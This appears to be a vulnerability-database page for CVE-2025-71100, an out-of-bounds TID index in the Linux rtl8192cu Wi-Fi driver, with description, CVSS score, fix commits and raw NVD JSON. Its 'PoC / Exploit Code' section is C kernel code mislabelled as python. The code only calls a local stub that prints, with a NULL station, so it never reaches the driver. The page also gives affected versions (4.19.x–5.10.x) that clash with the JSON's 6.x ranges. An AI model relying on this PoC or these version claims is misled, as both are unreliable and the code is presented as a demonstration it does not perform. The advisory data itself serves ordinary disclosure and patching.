Security Vulnerability Report
中文
CVE-2025-71100 CVSS 7.8 HIGH

CVE-2025-71100

Published: 2026-01-13 16:16:10
Last Modified: 2026-03-25 16:52:07
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: wifi: rtlwifi: 8192cu: fix tid out of range in rtl92cu_tx_fill_desc() TID getting from ieee80211_get_tid() might be out of range of array size of sta_entry->tids[], so check TID is less than MAX_TID_COUNT. Othwerwise, UBSAN warn: UBSAN: array-index-out-of-bounds in drivers/net/wireless/realtek/rtlwifi/rtl8192cu/trx.c:514:30 index 10 is out of range for type 'rtl_tid_data [9]'

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.9:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.19:rc1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.19:rc2:*:*:*:*:*:* - VULNERABLE
Linux kernel rtlwifi rtl8192cu 驱动 - 所有未应用安全补丁的版本
受影响的内核版本包括:
4.19.x - 5.10.x 系列的多个子版本
具体修复提交:90a15ff324645aa806d81fa349497cd964861b66
具体修复提交:9765d6eb8298b07d499cdf9ef7c237d3540102d6
具体修复提交:dd39edb445f07400e748da967a07d5dca5c5f96e

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-71100 PoC - Trigger array out of bounds in rtl92cu_tx_fill_desc // This PoC demonstrates the vulnerability by sending a frame with TID=10 // which exceeds the MAX_TID_COUNT (9) of sta_entry->tids[] array #include <linux/module.h> #include <linux/kernel.h> #include <linux/netdevice.h> #include <net/mac80211.h> #define MAX_TID_COUNT 9 // Simulated vulnerable code path void trigger_tid_out_of_bounds(struct ieee80211_sta *sta, struct sk_buff *skb) { struct ieee80211_tx_info *info = IEEE80211_SKB_CB(skb); int tid; // This is the vulnerable call - ieee80211_get_tid() can return values > 8 tid = ieee80211_get_tid(skb); // VULNERABILITY: No bounds check before accessing sta->tids[tid] // sta->tids is defined as rtl_tid_data[9], valid indices: 0-8 // But tid can be 10 (or 0-15), causing out-of-bounds access printk(KERN_INFO "Accessing tids[%d] - potential OOB access\n", tid); // This would trigger UBSAN warning at trx.c:514 // sta->tids[tid].data = ... } // Trigger condition: Send IEEE 802.11 frame with non-standard TID void send_trigger_frame(struct net_device *dev) { struct sk_buff *skb = alloc_skb(sizeof(struct ieee80211_mgmt), GFP_ATOMIC); if (!skb) return; // Construct frame with TID=10 (out of valid range 0-8) struct ieee80211_mgmt *mgmt = (void *)skb->data; mgmt->frame_control = cpu_to_le16(IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA); // TID is encoded in the QoS Control field // Set TID = 10 (decimal) which exceeds MAX_TID_COUNT unsigned short *qos_control = (unsigned short *)((char *)mgmt + sizeof(struct ieee80211_mgmt)); *qos_control = cpu_to_le16(10); // TID = 10, exceeds array bounds // Trigger the vulnerable code path trigger_tid_out_of_bounds(NULL, skb); dev_kfree_skb(skb); } MODULE_LICENSE("GPL");

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-71100", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-01-13T16:16:09.920", "lastModified": "2026-03-25T16:52:07.400", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: rtlwifi: 8192cu: fix tid out of range in rtl92cu_tx_fill_desc()\n\nTID getting from ieee80211_get_tid() might be out of range of array size\nof sta_entry->tids[], so check TID is less than MAX_TID_COUNT. Othwerwise,\nUBSAN warn:\n\n UBSAN: array-index-out-of-bounds in drivers/net/wireless/realtek/rtlwifi/rtl8192cu/trx.c:514:30\n index 10 is out of range for type 'rtl_tid_data [9]'"}, {"lang": "es", "value": "En el kernel de Linux, se ha resuelto la siguiente vulnerabilidad:\n\nwifi: rtlwifi: 8192cu: solución a tid fuera de rango en rtl92cu_tx_fill_desc()\n\nEl TID obtenido de ieee80211_get_tid() podría estar fuera del rango del tamaño del array de sta_entry-&gt;tids[], por lo tanto, se verifica que el TID sea menor que MAX_TID_COUNT. De lo contrario, UBSAN advierte:\n\n UBSAN: índice de array fuera de límites en drivers/net/wireless/realtek/rtlwifi/rtl8192cu/trx.c:514:30\n el índice 10 está fuera de rango para el tipo 'rtl_tid_data [9]'"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-129"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.9.1", "versionEndExcluding": "6.12.64", "matchCriteriaId": "52C1C110-A682-476D-87D1-E448C00825CA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.4", "matchCriteriaId": "DC988EA0-0E32-457A-BF95-89BEB31A227B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.9:-:*:*:*:*:*:*", "matchCriteriaId": "3F2A4A3D-068A-4CF2-A09F-9C7937DDB0A5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc1:*:*:*:*:*:*", "matchCriteriaId": "17B67AA7-40D6-4AFA-8459-F200F3D7CFD1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc2:*:*:*:*:*:*", "matchCriteriaId": "C47E4CC9-C826-4FA9-B014-7FE3D9B318B2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc3:*:*:*:*:*:*", "matchCriteriaId": "F71D92C0-C023-48BD-B3B6-70B638EEE298"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc4:*:*:*:*:*:*", "matchCriteriaId": "13580667-0A98-40CC-B29F-D12790B91BDB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc5:*:*:*:*:*:*", "matchCriteriaId": "CAD1FED7-CF48-47BF-AC7D-7B6FA3C065FC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc6:*:*:*:*:*:*", "matchCriteriaId": "3EF854A1-ABB1-4E93-BE9A-44569EC76C0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc7:*:*:*:*:*:*", "matchCriteriaId": "F5DC0CA6-F0AF-4DDF-A882-3DADB9A886A7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc8:*:*:*:*:*:*", "matchCriteriaId": "EB5B7DFC-C36B-45D8-922C-877569FDDF43"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/90a15ff324645aa806d81fa349497cd964861b66", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9765d6eb8298b07d499cdf9ef7c237d3540102d6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/dd39edb445f07400e748da967a07d5dca5c5f96e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}